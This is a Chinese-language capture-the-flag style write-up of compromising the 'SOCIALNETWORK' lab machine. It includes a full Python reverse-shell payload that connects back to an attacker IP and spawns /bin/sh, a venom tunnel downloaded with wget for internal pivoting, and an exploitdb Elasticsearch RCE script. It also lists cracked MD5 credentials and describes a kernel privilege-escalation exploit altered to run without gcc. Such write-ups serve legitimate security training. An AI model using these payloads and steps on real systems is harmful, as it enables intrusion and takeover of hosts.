SOCIALNETWORK打靶記錄
一、信息收集
首先對靶機進行ip發現與端口及應用版本信息掃描:

dirsearch和Windows平臺上的御劍,本質上是一樣的。
對隱藏路徑進行爬取和發現:

打開后發現是一個代碼執行頁面 如果過濾不嚴格可能可以通過該功能直接執行代碼操作。

二、反彈shell
導入一段shell代碼去反彈鏈接,去網上搜索python 反彈shell就可以獲得shell代碼
《https://xz.aliyun.com/t/7721#:~:text=%E6%88%91%E4%BB%AC%E5%85%88%E6%9D%A5%E7%9C%8B%E7%9C%8B%E7%BD%91%E4%B8%8A%E6%B5%81%E4%BC%A0%E5%BE%97%E6%9C%80%E5%B9%BF%E7%9A%84python%E5%8F%8D%E5%BC%B9shell%E7%9A%84%E8%84%9A%E6%9C%AC%EF%BC%9A%20import%20socket%2Csubprocess%2Cos%20s%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29,s.connect%28%28%22127.0.0.1%22%2C23333%29%29%20os.dup2%28s.fileno%28%29%2C0%29%20os.dup2%28s.fileno%28%29%2C1%29%20os.dup2%28s.fileno%28%29%2C2%29%20p%3Dsubprocess.call%28%5B%22%2Fbin%2Fbash%22%2C%22-i%22%5D%29%3B》
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.70.196",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
如果kali里沒安裝bash,像上面那篇文章里面那樣call(["/bin/bash","-i"]);就會失敗,由于sh是最基礎的,所以call /bin/sh總沒錯。

在反彈的時候遇到了一些小問題,總結一下就是退出root權限,反彈代碼千萬記得寫分號。

三、內網穿透
dockerfile通常會作為dockers容器部署開發環境的時候會使用的一個模板開發文件。這個模板文件中包含如何去引入docker映像,如何對這個映像進行配置和安裝軟件包,修改服務項 等都會在這個模板文件中存在。利用這個文件可以在生產的服務器上大量的批量的部署docker容器。

查看該文件,可以看到標準的docker模板的操作指令。

使用命令:ls /.dockerenv 或者 cat /proc/1/cgroup(1表示初始化文件) 如果有結果那說明是一個docker系統而不是安裝在服務器上的系統。
如何檢測是否是docker系統?通過查看是否存在dockerenv這個文件,如果存在則大概率就是一個docker容器系統。
查看/proc/1/cgroup文件:(1代表系統的初始化進程id 當初始化進程id的cgroup文件中包含著明確的docker信息則百分百是個docker容器) 隨后想辦法從隔離的docker容器中突破出來找到宿主機,拿到root權限。

可以將docker容器所處的網段視為當前的內網網段 可以對內網網段進行主機發現,看看該網段中是否還存在其他主機。

16個網段,存在65535個ip。
主機發現:ping -c 對內網中的每個ip都ping一遍 或者通過腳本循環ping:for i in $(seq 1 10); do ping -c 1 ip.$i;done。

四、內網穿透
掃出來的172.17.0.1和172.17.0.1位于內網網段,利用kali上的工具去探測內網網段默認情況下道路不通,此時要使用內網穿透技術。
使用內網穿透技術,將內網和kali的網絡路由打通 常用的工具:venom。
利用venom可以在內網和kali之間建立一個隧道,通過這個隧道生成一個代理 讓其他工具可以基于這個代理對內網進行掃描。
首先將這個隧道的客戶端程序傳輸拷貝到目標系統上,再與kali上的服務端程序建立隧道。
在Kali主機Venom目錄啟動Python3 Http Server 再回到目標容器系統,通過wget去訪問kali主機上的http服務。

venom報錯:zsh: 沒有那個文件或目錄: /home/chey/桌面/Venom 排查后發現是因為文件名有空格 將空格刪掉之后就能正常運行了。
運行服務端,本地監聽9999端口等待目標容器系統建立監聽:


來到客戶端計算機,獲取到隧道工具的客戶端程序(就是a程序)。在kali系統上啟動http程序,在目標靶機上運行wget,將kali上的a程序下載過去。

如果wget失敗就重啟一遍服務(應該在kali裝一個nginx之類的server端 開http 然后配置文件里會有一個類似root_dir的配置 還是web_dir 類似的 配好了重新起一下服務 不出意外的話應該不會出現這種問題 )。

靶機服務器上部署venom:成功連上(由于在Linux中給agent_linux_x64改名為a了 所以這里使用的是a)

goto到節點:socks啟動監聽端口1080。

為了讓kali上的所有工具都可以掛代理去訪問內網的網段,就必須要啟動proxychain。
修改代理類型 sudo vi /etc/proxychains4.conf

socks4->socks5 9050->1080
五、內網掃描
此時可以對內網進行掃描了,對剛剛掃描出來的存活的ip進行掃描:
proxychains nmap -Pn -sT 172.17.0.1

進行服務版本的發現。

對172.17.0.2進行端口和版本信息掃描。
Elasticsearch開放端口:9200

六、內核提權
有兩個遠程代碼執行漏洞的payload 下載回來看看。

cp /usr/share/exploitdb/exploits/linux/remote/36337.py . 將改腳本拷貝到當前目錄。

使用python2來執行該腳本。

發現當前有一個password文件,文件中有賬密信息 是md5加密的。

md5在線查詢平臺:https://cmd5.com/
john:3f8184a7343664553fcb5337a3138814:1337hack test:861f194e9d6118f3d942a72be3e51749:1234test admin:670c3bbc209a18dde5446e5e6c1f1d5b:1111pass root:b3d34352fc26117979deabdf1b9b6354:1234pass jane:5c158b60ed97c723b673529b8a3cf72b:1234jane
使用賬密進行ssh登錄。

嘗試提權:sudo su
本地提權:最主要的方法:通過內核漏洞提權
uname -a 查看內核版本信息

searchsploit
該payload是c語言寫的源碼,需要通過gcc編譯之后才能執行,隨后才能成功提權到root權限。


由于靶機上沒有gcc軟件包,因此在kali上編譯完后傳到靶機上執行該提權payload,該payload源碼中有一段命令:使用gcc編譯ofs-lib.c 防止payload在靶機上運行失敗,在kali上編譯完后修改該代碼,改為直接執行編譯后的程序。

把涉及到要編譯庫文件的代碼都刪除掉。

刪除上面紅圈內的代碼后對修改后的exp進行編譯,輸出文件名為exp
編譯過程中的報錯并不影響輸出結果。

要執行該exp文件需要配合已經編譯好的二進制的庫文件一起執行。
二進制的庫文件名叫ofs-lib.so 嘗試在kali中直接定位該文件。

將這兩個文件一起拷貝到目標宿主系統上。
報這個錯就需要在kali中exp所在路徑下重啟http.server服務。


七、提權
接下來要執行該exp,為了保證exp的執行成功,將這兩個文件拷貝到目標靶機的tmp目錄下。
首先給exp賦予可執行權限,隨后直接執行exp 成功提權。
